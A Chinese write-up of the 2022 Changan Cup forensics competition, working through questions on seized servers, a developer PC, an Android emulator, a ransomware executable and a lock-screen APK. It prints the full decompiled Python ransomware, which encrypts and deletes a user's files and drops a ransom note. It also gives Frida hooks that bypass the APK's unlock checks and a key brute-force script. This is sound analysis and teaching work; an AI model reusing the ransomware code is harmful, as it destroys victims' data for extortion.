2022第四届长安杯WRITE UP

前言

  • 本次wp在对检材123的分析中,学习了一个大佬的思路,先大概过一遍题目,根据题目的指引先整体分析了一遍架构和基本信息,再去慢慢做题找信息;
  • 中间在对网站重构部分时后台验证码尝试n次始终没有成功还原,先后端再前端顺序也没错,一直不知道哪里出问题了,还希望有同样遭遇能解决的师傅提点一下!(虽然不进入后台本套题照样可以做)
  • 最后apk部分最后两题应该算是本次比赛最有难度的题目了,如果有不同的或者更好的解法可以交流一下!

文章目录


案情简介

某地警方接到受害人报案称其在某虚拟币交易网站遭遇诈骗,该 网站号称使用“USTD 币”购买所谓的“HT 币”,受害人充值后不但“HT 币”无法提现、交易,而且手机还被恶意软件锁定勒索。警方根据受害 人提供的虚拟币交易网站调取了对应的服务器镜像并对案件展开侦查。


⭐检材1

根据报案人提供的网站域名和 I P ,警方调取了对应的服务器镜像“检材 1 ”,分析掌握的检材回答下列问题 根据报案人提供的网站域名和IP,警方调取了对应的服务器镜像“检材1”,分析掌握的检材回答下列问题 根据报案人提供的网站域名和IP,警方调取了对应的服务器镜像检材1”,分析掌握的检材回答下列问题

1. 检材1的SHA256值为

9E48BB2CAE5C1D93BAF572E3646D2ECD26080B70413DC7DC4131F88289F49E34

x-way直接算

image-20221102151706629

2. 分析检材1,搭建该服务器的技术员IP地址是多少?用该地址解压检材2

172.16.80.100

仿真起来后last命令直接看,或者使用火眼看一下登录日志

ps:这里前后端服务器都是挂静态ip的,仿真后需要更改一下vmware的网络编辑器把dhcp挂到一个网段才能用xshell连

image-20221102151857719

image-20221102151757876

3. 检材1中,操作系统发行版本号为

A、CentOS 7.5.1804 B、CentOS 7.6.1810 C、CentOS 7.9.2009 D、CentOS 8.0.1905

A、CentOS 7.5.1804

火眼仿真直接看

image-20221102152355567

4. 检材1系统中,网卡绑定的静态IP地址为

172.16.80.133

image-20221102152501073

image-20221102152519570

5. 检材1中,网站jar包所存放的目录是(答案为绝对路径,如“/home/honglian/”)

/web/app

如果为了暴力做题,直接find / -name *.jar

正常思路:先整体分析一下,查看一下历史命令发现大量对jar包的操作,往下翻可以找到一个start_web.sh的启动脚本,猜测是对整个网站的启动脚本

image-20221102153046949

根据上面的cd命令去翻目录,发现网站的jar包都在这

image-20221102153240626

这里先不继续做题,先对检材整体分析一下

继续往下翻发现start_web.sh被删掉了,因为存在5个jar包,不知道启动顺序直接启动网站肯定会出错,在这里没找到start_web.sh脚本前网站是没办法成功启动的

image-20221102153528262

通过jd-gui反编译刚刚得到的jar包,在BOOT-INF.classes.application.properties配置文件下可以找到很多有用的信息

image-20221102154811165

在admin-api.jar文件下可以找到很多有用的信息,可以发现mysql的用户名密码,同时发现这个网站调用了三个数据库mysql,mongodb和redis

image-20221102155113068

接着使用之前第二题获取的ip解开检材二,是网站技术员的个人电脑,由于整个网站的前后端都是网站技术员开发的,因此大量数据文件备份都能在检材二里找到

首先在xshell里发现连接过172.16.80.133(前端)和172.16.80.128,再结合上面jar包内数据库连接ip的配置,可以得出172.16.80.128是网站后端的ip

image-20221102155620827

在检材二的D盘下可以找到一个建站笔记,提示要先启动后端再启动前端才可以正常打开网站,同时这里还提示jar包的启动是有顺序的,因此手动来启网站不太现实了

同时这里还能得到两个启动脚本,start.sh估计是后端的启动脚本

image-20221102160016586

将两个启动脚本都先导出

这里可以先去启动一下前端服务做一些题,但我们先不慌,先继续分析

image-20221102161706721

image-20221102161659925

同时在检材二找到网站mysql数据库备份,数据库名b1在之前jar包里也有出现

image-20221102163328458

根据建站笔记的提示,先去把检材三拿出来服务启动起来再说

首先查看一下history,验证了同时存在redis和mongodb和mysql服务

image-20221102160650883

image-20221102160739267

image-20221102160750895

同时发现存在大量docker命令,启动一下docker服务

image-20221102160711506

通过历史命令可以找到mysql的数据目录/data/mysql,发现里面的库全被删完了,只剩mysql的三个自带系统库

image-20221102160904023

image-20221102161105118

通过查看docker-compose.yml配置文件,可以验证一下mysql的密码,同时发现volumes里的主机与docker的映射关系,因此重新获取到数据库文件后,只需要放在/data/mysql/db目录下,就可以映射到docker内部

image-20221102161228516

将检材二的b1数据库备份导出,传入/data/mysql/db目录下,完成数据库的修复

ps:由于这里导入时是以root权限,直接启动mysql是无权访问的,需要加个chmod 777

image-20221105171033185

再根据之前历史命令找到网站后端目录在/web下,直接将之前获取到的start.sh导入,按顺序启动一下前后端服务

同理也要加个chmod 777

image-20221102162028590

启动后端服务

image-20221102162224965

启动一下前端服务

image-20221102162907208

根据打开的端口,访问9090是后台登录界面

image-20221102163104004

image-20221102163229159

访问3000是网站前台

image-20221102172945199

然鹅我到最后尝试了n遍还是没搞出后端登陆的验证码,先后端再前端顺序也没错,一直不知道哪里出问题了,还希望有同样遭遇能解决的师傅提点一下!(不过虽然登录不了后台,后面题目还是可以通过其他方法得出的)

开始做题!

6. 检材1中,监听7000端口的进程对应文件名为

cloud.jar

反编译jar包可以得到

image-20221102173044329

7. 检材1中,网站管理后台页面对应的网络端口为(答案填写阿拉伯数字,如“100”)

9090

image-20221102173115122

8. 检材1中,网站前台页面里给出的APK的下载地址是(答案格式如下:“https://www.forensix.cn/abc/def”)

https://pan.forensix.cn/f/c45ca511c7f2469090ad/?dl=1

前台上面有个app下载

image-20221102173142693

本地工具好像都识别有问题,找个在线网站

image-20221102173355367

9. 检材1中,网站管理后台页面调用的用户表(admin)里的密码字段加密方式为?

A.sha1 B.sha256 C.md5 D.bcrypt

C.md5

随便登录一下,发现调用了googleAuth/sign下的in方法

image-20221102173716828

去jar里检索一下关键词,找到登录判断函数,得到是md5

image-20221102173831925

10. 分析检材1,网站管理后台登录密码加密算法中所使用的盐值是

XehGyeyrVgOV4P8Uf70REVpIw3iVNwNs

根据

image-20221102173939307

跳转

image-20221102174005102

发现是个全局变量

翻一下application.properties可以找到

image-20221102174120858

⭐检材2

根据 I P 地址落地及后续侦查,抓获了搭建网站的技术员,扣押了其个人电脑并制作镜像“检材 2 ”,分析所有掌握的检材回答下列问题 根据IP地址落地及后续侦查,抓获了搭建网站的技术员,扣押了其个人电脑并制作镜像“检材2”,分析所有掌握的检材回答下列问题 根据IP地址落地及后续侦查,抓获了搭建网站的技术员,扣押了其个人电脑并制作镜像检材2”,分析所有掌握的检材回答下列问题

11. 检材2中,windows账户Web King的登录密码是

135790

火眼仿真直接看

image-20221102174554991

12. 检材2中,除检材1以外,还远程连接过哪个IP地址?并用该地址解压检材3

172.16.80.128

之前有分析到

image-20221102174638939

13. 检材2中,powershell中输入的最后一条命令是

ipconfig

powershell和cmd的一个区别就是powershell会记录历史命令,因此仿真后直接打开powershell按↑就可以查看

image-20221102174837126

或者使用命令Get-History | Format-List -Property *查看

image-20221102175029641

14. 检材2中,下载的涉案网站源代码文件名为

ZTuoExchange_framework-master.zip

结合浏览器访问记录里网站的名称,很显然是第三个

image-20221102175138976

image-20221102175215065

也可以导出来解压一下就是网站的源文件

15. 检材2中,网站管理后台root账号的密码为

root

可以在浏览器保存密码看到

image-20221102175445075

由于知道之前的密码加密方式和盐,翻一下数据库可以得到root密码加密后的值,简单验证一下

image-20221102175539403

image-20221102175548931

16. 检材2中,技术员使用的WSL子系统发行版本是(答案格式如下:windows 10.1)

Ubuntu 20.04

wsl --list -verbose直接看

image-20221102183416237

或者搜一下WSL的安装目录

image-20221102183517785

这里出题人设了个小陷阱,但根据文件数量很显然第一个20.04版本是我们需要的答案

image-20221102183627187

17. 检材2中,运行的数据库服务版本号是(答案格式如下:10.1)

8.0.30

检材二没有任何外加数据库,应该就是问WSL里面运行的数据库版本

进入WSL后mysql -V直接看

image-20221102185356046

或者火眼直接看

image-20221102185534284

18. 上述数据库debian-sys-maint用户的初始密码是

ZdQfi7vaXjHZs75M

搜索一下debian-sys-maint,根据文章所给目录直接看

image-20221102191538256

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XMTfjyGq-1667639914480)(md_img/image-20221102191724228.png)]

19.检材3服务器root账号的密码是

h123456

检材二xshell里面没有记录密码,但是系统ssh连接的时候密码记录下来了

image-20221102192344962

⭐检材3

根据网站前端和技术员个人电脑上的线索,发现了网站后端所在的服务器 I P 并再次调证取得“检材 3 ”,分析所有掌握的检材回答下列问题 根据网站前端和技术员个人电脑上的线索,发现了网站后端所在的服务器IP并再次调证取得“检材3”,分析所有掌握的检材回答下列问题 根据网站前端和技术员个人电脑上的线索,发现了网站后端所在的服务器IP并再次调证取得检材3”,分析所有掌握的检材回答下列问题

20. 检材3中,监听33050端口的程序名(program name)为

docker-proxy

docker启起来就可以看到了

image-20221103081304565

21. 除MySQL外,该网站还依赖以下哪种数据库

A. Postgresql B. Redis C. Oracle D. MongoDB

B. Redis D. MongoDB

22. 检材3中,MySQL数据库root账号的密码是

shhl7001

反编译jar和查看检材二中的docker-compose.yml都可以看到

image-20221103081735989

image-20221103081625818

23. 检材3中,MySQL数据库在容器内部的数据目录为

/var/lib/mysql

docker-compose.yml可以看到映射关系

image-20221103081916645

或者进docker,搜索一下mysql的常见数据文件find / -name *.frm

image-20221103082114875

24. 涉案网站调用的MySQL数据库名为

b1

jar反编译可以看到

image-20221103082231159

其实翻遍三个检材,也就一个b1数据库有有效数据

25. 勒索者在数据库中修改了多少个用户的手机号?(答案填写阿拉伯数字,如“15”)

3

找一下mysql的日志,在检材三/data/mysql/db目录下

image-20221103082421005

搜一下update,只有三条是修改手机号的日志

image-20221103082533743

后面都是修改登录ip和登录时间

image-20221103082603526

image-20221103082549089

26. 勒索者在数据库中删除的用户数量为(答案填写阿拉伯数字,如“15”)

28

这里delete每个都对应一个删除用户,发现id从973到1000的用户都被删掉了

image-20221103084035122

27. 还原被破坏的数据库,分析除技术员以外,还有哪个IP地址登录过管理后台网站?用该地址解压检材4

172.16.80.197

这里ip登录日志写在数据库文件里,在admin_access_log表里

总共就俩ip,第一个ip是技术员ip,第二个就是检材四老板的ip

image-20221103082935631

28. 还原全部被删改数据,用户id为500的注册会员的HT币钱包地址为

cee631121c2ec9232f3a2f028ad5c89b

硬翻数据库,member_wallet表

image-20221103083037704

29. 还原全部被删改数据,共有多少名用户的会员等级为’LV3’(答案填写阿拉伯数字,如“15”)

164

这里出题人没有设坑,照例来说应该把网站启起来去看一下member_grade_id和会员等级的关系,这里直接就是相等

image-20221103083426509

select count(*) from b1.member where member_grade_id=3

image-20221103083757984

试着去对一下mysql的日志

往上翻可以找到最初创建表时记录的所有用户的原始数据

image-20221103084417579

通过观察数据库规律可以发现后四位应该是0,3,0,0

image-20221103083907740

image-20221103084513302

发现总共只有164项?

image-20221103085029873

发现member表里居然有重复的数据

image-20221103085102419

震惊了,去重后确实是164,提醒我们以后还是要数据库和mysql日志对起来看

image-20221103085314380

30. 还原全部被删改数据,哪些用户ID没有充值记录(答案填写阿拉伯数字,多个ID以逗号分隔,如“15,16,17”)

318,989

充值记录在member_transaction表里

image-20221103085428548

SELECT DISTINCT id from b1.member where b1.member.id not in (SELECT member_id from b1.member_transaction)

image-20221103090622206

31. 还原全部被删改数据,2022年10月17日总计产生多少笔交易记录?(答案填写阿拉伯数字,如“15”)

1000

member_transaction表也有重复数据

image-20221103091127070

32. 还原全部被删改数据,该网站中充值的USDT总额为(答案填写阿拉伯数字,如“15”)

408228

中间有重复的一部分107-212的数据,直接导出excel里面简单粗暴

image-20221103092553038

⭐检材4

根据前期侦查分析,通过技术手段找到了幕后老板,并对其使用的安卓模拟器“检材 4 ”进行了固定。分析该检材并回答下列问题 根据前期侦查分析,通过技术手段找到了幕后老板,并对其使用的安卓模拟器“检材4”进行了固定。分析该检材并回答下列问题 根据前期侦查分析,通过技术手段找到了幕后老板,并对其使用的安卓模拟器检材4”进行了固定。分析该检材并回答下列问题

33. 嫌疑人使用的安卓模拟器软件名称是

夜神模拟器

检材四解开后是一个npbk文件,搜索后发现是夜神模拟器的备份文件

image-20221103093006602

可以直接以压缩包形式打开,里面有个vmdk,放火眼里面继续后面题目

34. 检材4中,“老板”的阿里云账号是

forensixtech1

在微信聊天记录里可以看到

image-20221103093512451

35. 检材4中安装的VPN工具的软件名称是

v2rayNG

image-20221103095614302

36. 上述VPN工具中记录的节点IP是

38.68.135.18

接上题图

37. 检材4中,录屏软件安装时间为

A、2022/10/19 02:50:27 B、2022/10/19 10:50:27 C、2022/10/18 02:50:27 D、2022/10/19 10:50:27

B、2022/10/19 10:50:27

看一下应用列表, 显然有一个包名是luping

image-20221103095855700

38. 上述录屏软件中名为“s_20221019105129”的录像,在模拟器存储中对应的原始文件名为

0c2f5dd4a9bc6f34873fb3c0ee9b762b98e8c46626410be7191b11710117a12d

狂翻数据库

image-20221103100606685

data:/storage/emulated/0/Android/data/com.jiadi.luping/files/Movies/0c2f5dd4a9bc6f34873fb3c0ee9b762b98e8c46626410be7191b11710117a12d

39. 上述录屏软件登录的手机号是

18645091802

方法一:

放模拟器里仿真起来,在账号注销记录里有

image-20221103100745244

方法二:

发现存在wal预写日志文件,数据库很多时候不会直接将数据写入数据库文件中,而是先预写在wal文件中,每一段时间再写入db文件

image-20221103100815961

将db和wal一起导出后即可看到手机号

image-20221103101156766

40. 检材4中,发送勒索邮件的邮箱地址为

[email protected]

image-20221103101401286

⭐exe分析

分析所有掌握的检材,找到勒索邮件中被加密的文档和对应的加/解密程序,并回答下列问题

先找到加密文档和对应的加解密程序

根据勒索邮件的附件名称,全局搜索数据下载地址.docx_encrypted

image-20221103101440812

发现加解密程序和加密文件都在检材二的D盘根目录下,直接导出

image-20221103101522262

41. 分析加密程序,编译该加密程序使用的语言是

A、Python B、Java C、PHP D、C#

A、Python 

其实导出来就可以看到自动识别出python图标了

image-20221103101808682

扔exeinfo看一下即可发现是PyInstaller打包编译的

image-20221103102013912

搜一下逆向解包方法

image-20221103102156601

用pyinstxtractor解包,再uncompyle6反编译pyc

import time
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5 as Cipher_pkcs1_v1_5
import os
pubkey = '-----BEGIN PUBLIC KEY-----\nMIIBIzANBgkqhkiG9w0BAQEFAAOCARAAMIIBCwKCAQEAx5JF4elVDBaakgGeDSxI\nCO1LyyZ6B2TgR4DNYiQoB1zAyWPDwektaCfnvNeHURBrw++HvbuNMoQNdOJNZZVo\nbHVZh+rCI4MwAh+EBFUeT8Dzja4ZlU9E7jufm69TQS0PSseIiU/4Byd2i9BvIbRn\nHLFZvi/VXphGeW0qVeHkQ3Ll6hJ2fUGhTsuGLc1XXHfiZ4RbJY/AMnjYPy9CaYzi\nSOT4PCf/O12Kuu9ZklsIAihRPl10SmM4IRnVhZYYpXedAyTcYCuUiI4c37F5GAhz\nRDFn9IQ6YQRjlLjuOX8WB6H4NbnKX/kd0GsQP3Zbogazj/z7OM0Y3rv3T8mtF6/I\nkwIEHoau+w==\n-----END PUBLIC KEY-----\n'
msg = "SOMETHING WENT WRONG,PLEASE CONTACT YOUR SYSTEM ADMINISTRATOR!\nHe can help you to understand whats happened.\nIf he can't help you,contact us via email:\[email protected]\[email protected]\nHURRY UP!WE HAVE ANTIDOTE FOR YOUR FILES!DISCOUNT 20%FOR CLIENTS,WHO CONTACT US IN THE SAME DAY!\nYou can attach 2 files (text or picture)to check our honest intentions,we will heal them and send\nback.\nPlease pay 0.618 ETH\nThe wallet address:0xef9edf6cdacb7d925aee0f9bd607b544c5758850\n************************************\n"

class XORCBC:

    def __init__(self, key: bytes):
        self.key = bytearray(key)
        self.cur = 0

    def encrypt(self, data: bytes) -> bytes:
        data = bytearray(data)
        for i in range(len(data)):
            tmp = data[i]
            data[i] ^= self.key[self.cur]
            self.key[self.cur] = tmp
            self.cur = (self.cur + 1) % len(self.key)

        return bytes(data)


print('加密程序V1.0')
print('文件正在加密中~~~~~~~~~~~~~~~~~~\n')

def run_finall():
    for filepath, dirnames, filenames in os.walk(os.getcwd()):
        for filename in filenames:
            if filename != 'encrypt_file.py' and filename != 'decrypt_file.py' and '_encrypted' not in filename:
                ExtensionPath = os.path.splitext(filename)[(-1)]
                if '.txt' == ExtensionPath or '.jpg' == ExtensionPath or '.xls' == ExtensionPath or '.docx' == ExtensionPath:
                    time.sleep(3)
                    data_file = os.path.join(filepath, filename)
                    rsakey = RSA.import_key(pubkey)
                    cipher = Cipher_pkcs1_v1_5.new(rsakey)
                    xor_key = os.urandom(16)
                    xor_obj = XORCBC(xor_key)
                    outf = open(data_file + '_encrypted', 'wb')
                    encrypted_xor_key = cipher.encrypt(xor_key)
                    outf.write(encrypted_xor_key)
                    buffer_size = 4096
                    with open(data_file, 'rb') as (f):
                        while True:
                            data = f.read(buffer_size)
                            if not data:
                                break
                            outf.write(xor_obj.encrypt(data))

                    outf.close()
                    os.remove(data_file)


run_finall()

def redme():
    try:
        dir = os.path.join(os.path.expanduser('~'), 'Desktop')
        print(dir)
        with open(dir + '/!READ_ME.txt', 'w') as (ff):
            ff.write(msg)
    except:
        dir1 = os.getcwd()
        print(dir1)
        with open(dir1 + '/!READ_ME.txt', 'w') as (ff):
            ff.write(msg)


print('\n加密完成~~~~~~~~~~~~~~~~~~')
os.system('pause')
# okay decompiling encrypt_file_1.pyc

42. 分析加密程序,它会加密哪些扩展名的文件?

A、.txt B、.jpg C、.xls D、.docx

ABCD

分析一下源码

image-20221103113047652

43. 分析加密程序,是通过什么算法对文件进行加密的?

A、AES B、bcrypt C、DES D、异或

分析一下关键加密函数,是异或

image-20221103113158807

44. 分析加密程序,其使用的非对称加密方式公钥后5位为?

u+w==

image-20221103113247054

45. 被加密文档中,FLAG12的值是(FLAG为8位字符串,如“FLAG9:QWERT123”)

TREFWGFS

给了个解密脚本,同样思路解包反编译

from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5 as Cipher_pkcs1_v1_5
import os
prikey = '-----BEGIN RSA PRIVATE KEY-----\nMIIEpQIBAAKCAQEAx5JF4elVDBaakgGeDSxICO1LyyZ6B2TgR4DNYiQoB1zAyWPD\nwektaCfnvNeHURBrw++HvbuNMoQNdOJNZZVobHVZh+rCI4MwAh+EBFUeT8Dzja4Z\nlU9E7jufm69TQS0PSseIiU/4Byd2i9BvIbRnHLFZvi/VXphGeW0qVeHkQ3Ll6hJ2\nfUGhTsuGLc1XXHfiZ4RbJY/AMnjYPy9CaYziSOT4PCf/O12Kuu9ZklsIAihRPl10\nSmM4IRnVhZYYpXedAyTcYCuUiI4c37F5GAhzRDFn9IQ6YQRjlLjuOX8WB6H4NbnK\nX/kd0GsQP3Zbogazj/z7OM0Y3rv3T8mtF6/IkwIEHoau+wKCAQAlhHEjPTFQ7suY\nU3Ji+L5TyeaFWYu3iDVmtzUTjUn2Yvr2+IyHKdU6z0vvGhsHYP8rUJcwWEBVaVbU\ndQZ8TXT0flBgC35NyGQnTHHbNsOWRvFpto0Gom5KuDS0DYPrm+Ic1Ev0SfLdY+iK\nV/uzjjeBF+CgEuvwO8xnYLsaFu6s0/ezQgEDBxpcN2KBBZoJ0eXxUUanEPkrLHA2\nDhRgUCKQks1kpJrGZp/DLb8dKfhWoQ1FV/bBsmv9lVj1Yk14oKdvb51QK53Mnhiz\nji49S+tazVCA+lP0M6lVSB2uLyB5JldT4kqOQvhtURSzW8oeTM9w1rLvW7qi823U\nWrJz+TQTAoGBAPIfUS9accG2fUA3AP93ZJU0SbZLc95JJXMyaRozFTTbxnMWB3sG\nqM9X1qZ4hECVvLF3Sn73B6kF3IaC8/Vpc2cyPHpM+ytdxZVm4uW75ZwYAvKEJeT3\n068CtcN6PvG3mFhvPsc3GK9FI1O63jrbSx+Y1hQlrVq6eMZUJh7V8BxXAoGBANMC\nmhN2sC85Pz450JNoG6Q3db0nm9kUs157TUBMGJCfvgh2Rj0t08FcEKQn+idtOf6Z\nZc2lRoLeaRq539Ex8zzsD7Dl7bFtePRsuDcAMuIFY2S0Z8jjj9BaCirrUluu1FWp\nTV60As9YBLnRosLTrYtgym+GNjdE/42uFRBJk9AlAoGBAIyGeStBbau1BmMSeTJt\n9QYjl95MJZXTbJD4IFV73nVG66I/yKp9Ry3Q1hHf/oDm6bepslI/7+lLK1TPRv7T\nO0PNY92vya15RUvFerOz2QvOz9SRh/ZU6rEwsy0qZtanGZ7pKCSsQIwcJcsTKdjO\nvMj9QIqxqmdpdh6zFDeGKu4/AoGAEzFuMCQH+liRp9MEZtEtoqtUSwbwhSUh4hl+\nnScp+a+sKIaF/ohJfXeBctWCF6iU/N5TH7SlnfBlZE7MBJHiiAz8EwWI4u4EmFkc\n7RvmfXowLO9L4pG2rzwcMGgrs9cJm+NcjlNmq+Kx4q+F4lHNN8+/7NPdmDyiUlAD\nATZCds8CgYEA2CFvsH+TUV3Q63UdTsdrUKK86vohjGSaoai7mEUGo4iZ/Ie+ScAa\nGtPFZUhO7EJqh2rNqAakfZGgKU43hAjiUHIjvZdAFNoqpNxO+bkEIPSFQQ6o34r3\naGTj9Pz1UH/ByW76V7defT/2jQsXHHFiVGpDU6WT80bInLqDQRxlDRk=\n-----END RSA PRIVATE KEY-----\n'

class XORCBC:

    def __init__(self, key: bytes):
        self.key = bytearray(key)
        self.cur = 0

    def decrypt(self, data: bytes) -> bytes:
        data = bytearray(data)
        for i in range(len(data)):
            data[i] ^= self.key[self.cur]
            self.key[self.cur] = data[i]
            self.cur = (self.cur + 1) % len(self.key)

        return bytes(data)


def run_decrypt():
    print('解密程序 V1.0\n')
    present = input('请输入密码:')
    if present == '4008003721':
        for filepath, dirnames, filenames in os.walk(os.getcwd()):
            for filename in filenames:
                if '_encrypted' in filename:
                    print(os.path.join(filepath, filename) + '-解密成功')
                    data_file = os.path.join(filepath, filename)
                    data_handle = open(data_file, 'rb')
                    rsakey = RSA.import_key(prikey)
                    cipher = Cipher_pkcs1_v1_5.new(rsakey)
                    xor_key = cipher.decrypt(data_handle.read(256), '')
                    xor_obj = XORCBC(xor_key)
                    outname = data_file.replace('_encrypted', '')
                    outf = open(outname, 'wb')
                    buffer_size = 4096
                    while True:
                        data = data_handle.read(buffer_size)
                        if not data:
                            break
                        outf.write(xor_obj.decrypt(data))

                    outf.close()

        print('\n恭喜您,解密成功~~~~~~~~~~~~~~~')
        os.system('pause')
    else:
        print('\n密码错误~~~~~~~~~~~~~~~')
        run_decrypt()


run_decrypt()
# okay decompiling decrypt_file_1.pyc

得到密码是4008003721,直接运行解密

image-20221103113516107

image-20221103113528045

⭐apk分析

分析所有掌握的检材,找到报案人描述的加密勒索apk程序,分析并回答下列问题

全局搜索apk文件,发现在检材一里,导出扔雷电app里

image-20221103113628202

46. 恶意APK程序的包名为

cn.forensix.changancup

image-20221103114534993

47. APK调用的权限包括

A、READ_EXTERNAL_STORAGE
B、WRITE_EXTERNAL_STORAGE
C、SEND_SMS
D、WRITE_CONTACTS

AB

image-20221103114642323

48. 解锁第一关所使用的FLAG2值为(FLAG为8位字符串,如需在apk中输入FLAG,请输入完整内容,如输入"FLAG9:QWERT123")

MATSFRKG

有360加固宝加固,一键脱壳后jadx反编译

搜索一下flag关键词即可找到主函数以及flag2

image-20221103114927440

49. 解锁第二关所使用的FLAG3值为(FLAG为8位字符串,如需在apk中输入FLAG,请输入完整内容,如输入"FLAG9:QWERT123")

TDQ2UWP9

这里是第二关的判断代码

image-20221103115057667

关键部分

image-20221103181215054

this.OooO0o0.getText().toString()获取输入并进行一系列转换,然后通过equals函数进行比较,因此App.OooO0O0.OooO0oo是最终需要比较的字符

查找一下,找到赋值的语句,对一串密文进行解密操作,而先进行的OooO0O0.OooO0O0方法似乎是一个十六进制转字符串的操作

image-20221103181635411

image-20221103181717678

跳转一下decrypt函数,发现是native变量

image-20221103181838038

往上翻,调用了lib目录下的libcipher.so文件

image-20221103181935044

这里采用frida hook的方式直接将flag给抓取出来

方法一

hook equals函数的传入值

Java.perform(function () {
    
    
    var application = Java.use('android.app.Application');
 
    application.attach.overload('android.content.Context').implementation = function (context) {
    
    
        var result = this.attach(context);
        var classloader = context.getClassLoader();
        Java.classFactory.loader = classloader;
 
        

        //java.lang.String.equals(java.lang.Object):boolean
        const str = Java.classFactory.use('java.lang.String');
        const objectClasss='java.lang.Object'
        
        str.equals.overload(objectClasss).implementation = function(obj){
    
    
            var response =str.equals.overload(objectClasss).call(this,obj);
            console.log(str.toString.call(this)+' == '+obj.toString()+'?'+response)

            return response;
        }


        return result;
    }
});

随便输入一个值,当他调用equals函数和flag3比较的时候就会把结果输出出来

image-20221104182520707

方法二

hook decrypt函数

既然flag3值是由decrypt函数解密那串字符串得到的,直接hook decrypt函数的输出值即可得到flag3

这里decrypt函数输入的是byte类型,不知道的时候也可以什么都不改,根据报错信息来修正代码

image-20221104180935190

打印输出的时候由于调用的是byte类型,要先转换成hex类型防止输出出错

function byteToHexString(uint8arr) {
    
    
    if (!uint8arr) {
    
    
      return '';
    }
    
    var hexStr = '';
    for (var i = 0; i < uint8arr.length; i++) {
    
    
      var hex = (uint8arr[i] & 0xff).toString(16);
      hex = (hex.length === 1) ? '0' + hex : hex;
      hexStr += hex;
    }
    return hexStr.toUpperCase();
  }

Java.perform(function () {
    
    
    var application = Java.use('android.app.Application');
 
    application.attach.overload('android.content.Context').implementation = function (context) {
    
    
        var result = this.attach(context); 
        var classloader = context.getClassLoader();
        Java.classFactory.loader = classloader;
 
        

        //cn.forensix.cab.App.decrypt(byte[]) byte[]
        const app = Java.classFactory.use('cn.forensix.cab.App');
        app.decrypt.overload('[B').implementation = function(obj){
    
    
            var response =app.decrypt.overload('[B').call(this,obj);
            console.log(byteToHexString(response))

            return response;
        }



        return result;
    }
});

image-20221104182859825

image-20221104182916261

进入第三关

image-20221104182956759

50.解锁第三关所需的KEY值由ASCII可显示字符组成,请请分析获取该KEY值

a_asd./1imc2)dd1234]_+=+

第三关的关键判断条件

image-20221104183827555

跟进,是一串贼麻烦的加解密代码

image-20221104190311437

如果仅仅是为了过这一关,这边思路是写个hook脚本,直接把OooO0O0函数的返回值用true代进去

Java.perform(function () {
    
    
    var application = Java.use('android.app.Application');
 
    application.attach.overload('android.content.Context').implementation = function (context) {
    
    
        var result = this.attach(context); 
        var classloader = context.getClassLoader();
        Java.classFactory.loader = classloader;
 
        

        //cn.forensix.cab.App.OooO0O0(String) boolean
        const ooo = Java.classFactory.use('cn.forensix.cab.App');
        ooo.OooO0O0.overload('java.lang.String').implementation = function(obj){
    
    
            var response =ooo.OooO0O0.overload('java.lang.String').call(this,obj);
            console.log(response)

            return response;
            //return true;
        }



        return result;
    }
});

先测试一下,成功抓到OooO0O0的返回值,现在随便输入一些值,OooO0O0返回的都是false

image-20221104185139828

改成return true,直接传进去即可

image-20221104185632508

但获取flag就不能这样投机取巧了,思路是通过爆破获取跟flag匹配的字符

这里出题人其实挖了个坑,中间try部分代码是会报错的,intValue函数是没法对Integer类型执行的,会直接跳到catch部分

image-20221104190311437

首先通过for循环,将输入字符每四位一组进行左移,abcd会变成cabd

image-20221104191754625

接着对构造出的数组jArr传入OooO函数后与OooO0oO数组比较,OooO0oO数组是一个固定值

image-20221104191716897


image-20221104190553216


image-20221104190345886

因此尝试对所有可打印字符按四个一组尝试爆破

import string
from Crypto.Util.number import *

enc=[1197727163, 1106668241, 312918615, 1828680913, 1668105995, 1728985987]
dic=''
long=4294967296
for i in range(33,127):
    dic+=chr(i)
.
def Loop(a,b):
    if a==0:
        return[0,1]
    tmp=Loop(b%a,a)
    return[tmp[1]+(int(b/a)*tmp[0]),tmp[0]]

for i in dic:
    for j in dic:
        for k in dic:
            for l in dic:
                if (Loop( bytes_to_long((k+i+j+l).encode('utf-8')),long)[0]%long+long)%long in enc:
                    print((Loop( bytes_to_long((k+i+j+l).encode('utf-8')),long)[0]%long+long)%long,i+j+k+l)
# 1828680913 )dd1
# 1668105995 234]
# 1728985987 _+=+
# 1197727163 a_as
# 1106668241 d./1
# 312918615 imc2

image-20221104205820676

根据数组顺序排列一下得到key:a_asd./1imc2)dd1234]_+=+

猜你喜欢

转载自blog.csdn.net/jyttttttt/article/details/127704893